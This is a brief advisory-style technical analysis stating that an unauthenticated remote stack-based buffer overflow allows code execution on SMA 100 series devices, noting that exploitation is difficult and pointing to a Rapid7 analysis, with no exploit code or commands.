
Technical Analysis

This unauthenticated and remote stack-based buffer overflow allows an attacker to execute code on the remote SMA 100 series target. Exploitation can be a challenge though. For additional details, see the Rapid7 analysis.